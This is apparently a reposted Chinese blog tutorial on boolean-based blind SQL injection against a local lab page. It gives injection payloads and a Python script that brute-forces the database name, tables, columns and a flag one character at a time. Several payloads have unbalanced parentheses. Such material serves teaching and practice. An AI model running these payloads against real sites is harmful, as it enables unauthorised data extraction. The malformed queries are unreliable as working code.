布尔盲注步骤

使用场景:

在没有数据回显的情况下,是不显示具体内容,但会显示有结果或没结果的一种二分的方式(例如:显示用户名或密码错误)

通常逐个爆破猜解,效率偏低

思路:利用回显的不同,推测sql语句执行的结果是true还是false

在and后的判断条件稍作更改

例: select * from users where id='1' and (select length(database())=1)#

过程:

获取数据库名的具体信息:

left(a,b)从左侧截取 a 的前 b 位:left(select database(),1)>'s'

substr(a,b,c)从b位置开始,截取字符串a的c长度

mid(a,b,c)从位置b开始,截取a字符串的c位

ascii()将某个字符转换为ascii值:ascii(substr(user),1,1))=101"#

脚本

import requests
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=database()),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='answer'),%s,1))=%d--+"
url = "http://127.0.0.1/sqli/3.php?id=0 or ascii(substr(group_concat(flag) from answer),%s,1))=%d--+"
result = ""

for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "查询" in s.text:
            result += chr(j)
            print(result)
            break
print(result)

**
i代表依次从1-100位,遍历所得结果字符串的第i位
j从33-127包含了ascii中所有可见字符,代表逐个比对判断第n个字符是哪个字符
url%(i,j)其中%代表将()中的字符替换到url表达式的占位符中
requests.get 使用requests库中的get方法,发送get请求到url中
chr()函数将ascii码字符转换成字符串

猜你喜欢

转载自blog.csdn.net/weixin_68177269/article/details/132495626